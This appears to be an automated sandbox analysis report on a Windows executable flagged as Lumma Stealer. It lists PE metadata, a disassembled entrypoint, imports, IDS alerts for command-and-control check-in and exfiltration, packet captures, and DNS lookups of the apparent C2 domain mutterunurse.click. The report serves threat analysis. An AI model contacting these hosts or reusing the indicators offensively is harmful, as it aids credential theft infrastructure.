Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7bb4e8cef6a9f350a8f5dc71e7b3773c

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F82E11B6710h
dec eax
add esp, 28h
jmp 00007F82E11B657Fh
int3
int3
dec eax
mov dword ptr [esp+18h], ebx
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 30h
dec eax
mov eax, dword ptr [00B70A00h]
dec eax
mov ebx, 2DDFA232h
cdq
sub eax, dword ptr [eax]
add byte ptr [eax+3Bh], cl
ret
jne 00007F82E11B6776h
dec eax
and dword ptr [ebp+10h], 00000000h
dec eax
lea ecx, dword ptr [ebp+10h]
call dword ptr [00A3E11Ah]
dec eax
mov eax, dword ptr [ebp+10h]
dec eax
mov dword ptr [ebp-10h], eax
call dword ptr [00A3E09Ch]
mov eax, eax
dec eax
xor dword ptr [ebp-10h], eax
call dword ptr [00A3E088h]
mov eax, eax
dec eax
lea ecx, dword ptr [ebp+18h]
dec eax
xor dword ptr [ebp-10h], eax
call dword ptr [00A3E180h]
mov eax, dword ptr [ebp+18h]
dec eax
lea ecx, dword ptr [ebp-10h]
dec eax
shl eax, 20h
dec eax
xor eax, dword ptr [ebp+18h]
dec eax
xor eax, dword ptr [ebp-10h]
dec eax
xor eax, ecx
dec eax
mov ecx, FFFFFFFFh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xaa4b68	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xbe3000	0x1b4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xbdc000	0x3258	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xbe4000	0x4a07c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xaa4190	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa9b320	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xaa4e30	0x2a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7cfc6	0x7d000	9bd07e9f870af6b2a93374d92225e849	False	0.46171875	data	6.514644020010848	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7e000	0xa2b664	0xa2b800	d68ac9f74804a89ba9c12bf99678925b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xaaa000	0x131170	0x12e800	18097f8c28518d19c9fba9baafbb32b8	False	0.21474609375	data	4.622978380304724	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xbdc000	0x3258	0x3400	5f446a04078b37ffb559d94a996777d7	False	0.4928635817307692	data	5.69877292703233	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.fptable	0xbe0000	0x100	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xbe1000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0xbe2000	0x280	0x400	399b49436e7cb5738787fa9dc9ba498a	False	0.28515625	data	3.1707268208177206	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xbe3000	0x1b4	0x200	c634d544e732093fbd6947fa98151acf	False	0.48828125	data	5.103911525545503	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xbe4000	0x4a07c	0x4a200	150eb429f11475a7b7f8df38ee407679	False	0.01363235139123103	data	5.429522885159793	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xbe3058	0x15b	ASCII text, with CRLF line terminators	English	United States	0.5446685878962536

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlsAlloc, FlsFree, FlsGetValue, FlsSetValue, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReleaseSRWLockExclusive, RtlCaptureContext, RtlLookupFunctionEntry, RtlPcToFileHeader, RtlUnwindEx, RtlVirtualUnwind, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, VirtualProtect, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T08:34:24.941198+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49720	104.21.90.18	443	TCP
2025-01-13T08:34:25.476622+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49720	104.21.90.18	443	TCP
2025-01-13T08:34:25.476622+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49720	104.21.90.18	443	TCP
2025-01-13T08:34:26.202678+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49722	104.21.90.18	443	TCP
2025-01-13T08:34:26.690310+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49722	104.21.90.18	443	TCP
2025-01-13T08:34:26.690310+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49722	104.21.90.18	443	TCP
2025-01-13T08:34:27.447402+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49723	104.21.90.18	443	TCP
2025-01-13T08:34:28.392365+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49723	104.21.90.18	443	TCP
2025-01-13T08:34:29.402372+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49725	104.21.90.18	443	TCP
2025-01-13T08:34:30.626463+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49731	104.21.90.18	443	TCP
2025-01-13T08:34:32.081543+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49742	104.21.90.18	443	TCP
2025-01-13T08:34:33.660210+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49753	104.21.90.18	443	TCP
2025-01-13T08:34:33.702654+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49753	104.21.90.18	443	TCP
2025-01-13T08:34:35.821669+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49770	104.21.90.18	443	TCP
2025-01-13T08:34:36.285586+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49770	104.21.90.18	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 08:34:24.447635889 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:24.447679043 CET	443	49720	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:24.447796106 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:24.449234962 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:24.449246883 CET	443	49720	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:24.941124916 CET	443	49720	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:24.941198111 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.003884077 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.003910065 CET	443	49720	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:25.004364014 CET	443	49720	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:25.058532953 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.072439909 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.072439909 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.072597980 CET	443	49720	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:25.476537943 CET	443	49720	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:25.476614952 CET	443	49720	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:25.476690054 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.611721039 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.611721039 CET	49720	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.611795902 CET	443	49720	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:25.611829042 CET	443	49720	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:25.736054897 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.736094952 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:25.736176968 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.736499071 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:25.736512899 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.202581882 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.202677965 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.216936111 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.216952085 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.217365026 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.218657970 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.218679905 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.218753099 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.690326929 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.690466881 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.690531969 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.690557003 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.690644026 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.690713882 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.690722942 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.690805912 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.690859079 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.690867901 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.690972090 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.691023111 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.691031933 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.691143990 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.691200018 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.691207886 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.694808960 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.694875956 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.694886923 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.746153116 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.776288986 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.776469946 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.776555061 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.776645899 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.776684999 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.776772022 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.776802063 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.776865959 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.777199030 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.777223110 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.777240992 CET	49722	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.777247906 CET	443	49722	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.969024897 CET	49723	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.969048023 CET	443	49723	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:26.969150066 CET	49723	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.969614029 CET	49723	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:26.969626904 CET	443	49723	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:27.447218895 CET	443	49723	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:27.447402000 CET	49723	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:27.449387074 CET	49723	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:27.449393034 CET	443	49723	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:27.449726105 CET	443	49723	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:27.455358982 CET	49723	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:27.455599070 CET	49723	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:27.455632925 CET	443	49723	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:28.392370939 CET	443	49723	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:28.392505884 CET	443	49723	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:28.392608881 CET	49723	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:28.420600891 CET	49723	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:28.420613050 CET	443	49723	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:28.942713022 CET	49725	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:28.942771912 CET	443	49725	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:28.942854881 CET	49725	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:28.943284988 CET	49725	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:28.943298101 CET	443	49725	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:29.402265072 CET	443	49725	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:29.402371883 CET	49725	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:29.403919935 CET	49725	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:29.403929949 CET	443	49725	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:29.404290915 CET	443	49725	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:29.405916929 CET	49725	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:29.406136990 CET	49725	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:29.406172991 CET	443	49725	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:29.406234026 CET	49725	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:29.406240940 CET	443	49725	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:29.908862114 CET	443	49725	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:29.908991098 CET	443	49725	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:29.909046888 CET	49725	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:29.909154892 CET	49725	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:29.909184933 CET	443	49725	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:30.146802902 CET	49731	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:30.146914959 CET	443	49731	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:30.147011042 CET	49731	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:30.147393942 CET	49731	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:30.147453070 CET	443	49731	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:30.626389027 CET	443	49731	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:30.626462936 CET	49731	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:30.627723932 CET	49731	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:30.627748013 CET	443	49731	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:30.628026962 CET	443	49731	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:30.629175901 CET	49731	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:30.629355907 CET	49731	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:30.629420996 CET	443	49731	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:30.629492044 CET	49731	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:30.629508972 CET	443	49731	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:31.253917933 CET	443	49731	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:31.254070044 CET	443	49731	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:31.254132032 CET	49731	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:31.254228115 CET	49731	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:31.254265070 CET	443	49731	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:31.625596046 CET	49742	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:31.625643015 CET	443	49742	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:31.625725985 CET	49742	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:31.626015902 CET	49742	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:31.626033068 CET	443	49742	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:32.081274033 CET	443	49742	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:32.081542969 CET	49742	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:32.082801104 CET	49742	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:32.082807064 CET	443	49742	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:32.083050013 CET	443	49742	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:32.084333897 CET	49742	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:32.084393024 CET	49742	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:32.084399939 CET	443	49742	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:32.570246935 CET	443	49742	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:32.570327997 CET	443	49742	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:32.570600033 CET	49742	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:32.570683956 CET	49742	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:32.570702076 CET	443	49742	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.204983950 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.205049038 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.205140114 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.205498934 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.205513954 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.660139084 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.660209894 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.661497116 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.661508083 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.661746025 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.701472044 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.702179909 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.702214003 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.702333927 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.702363968 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.702497959 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.702573061 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.702719927 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.702759027 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.702924013 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.702953100 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.703125954 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.703156948 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.703169107 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.703186035 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.703335047 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.703356028 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.703385115 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.703520060 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.703553915 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.712446928 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.712611914 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.712646961 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.712682009 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.712712049 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.712745905 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:33.712798119 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:33.712821007 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:35.310048103 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:35.310156107 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:35.310209990 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:35.310828924 CET	49753	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:35.310838938 CET	443	49753	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:35.363749027 CET	49770	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:35.363787889 CET	443	49770	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:35.363887072 CET	49770	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:35.364439011 CET	49770	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:35.364468098 CET	443	49770	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:35.821491957 CET	443	49770	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:35.821669102 CET	49770	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:35.823514938 CET	49770	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:35.823525906 CET	443	49770	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:35.823883057 CET	443	49770	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:35.825725079 CET	49770	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:35.825787067 CET	49770	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:35.825826883 CET	443	49770	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:36.285614014 CET	443	49770	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:36.285731077 CET	443	49770	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:36.285836935 CET	49770	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:36.286104918 CET	49770	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:36.286145926 CET	443	49770	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:36.286175966 CET	49770	443	192.168.2.5	104.21.90.18
Jan 13, 2025 08:34:36.286191940 CET	443	49770	104.21.90.18	192.168.2.5
Jan 13, 2025 08:34:41.067404985 CET	49373	53	192.168.2.5	1.1.1.1
Jan 13, 2025 08:34:41.072734118 CET	53	49373	1.1.1.1	192.168.2.5
Jan 13, 2025 08:34:41.072819948 CET	49373	53	192.168.2.5	1.1.1.1
Jan 13, 2025 08:34:41.080611944 CET	53	49373	1.1.1.1	192.168.2.5
Jan 13, 2025 08:34:41.517918110 CET	49373	53	192.168.2.5	1.1.1.1
Jan 13, 2025 08:34:41.523590088 CET	53	49373	1.1.1.1	192.168.2.5
Jan 13, 2025 08:34:41.523649931 CET	49373	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 08:34:24.417380095 CET	51160	53	192.168.2.5	1.1.1.1
Jan 13, 2025 08:34:24.442120075 CET	53	51160	1.1.1.1	192.168.2.5
Jan 13, 2025 08:34:41.066189051 CET	53	61715	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 08:34:24.417380095 CET	192.168.2.5	1.1.1.1	0x2848	Standard query (0)	mutterunurse.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 08:34:20.688806057 CET	1.1.1.1	192.168.2.5	0x355b	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 08:34:20.688806057 CET	1.1.1.1	192.168.2.5	0x355b	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 08:34:24.442120075 CET	1.1.1.1	192.168.2.5	0x2848	No error (0)	mutterunurse.click	104.21.90.18	A (IP address)	IN (0x0001)	false
Jan 13, 2025 08:34:24.442120075 CET	1.1.1.1	192.168.2.5	0x2848	No error (0)	mutterunurse.click	172.67.151.5	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mutterunurse.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49720	104.21.90.18	443	5392	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
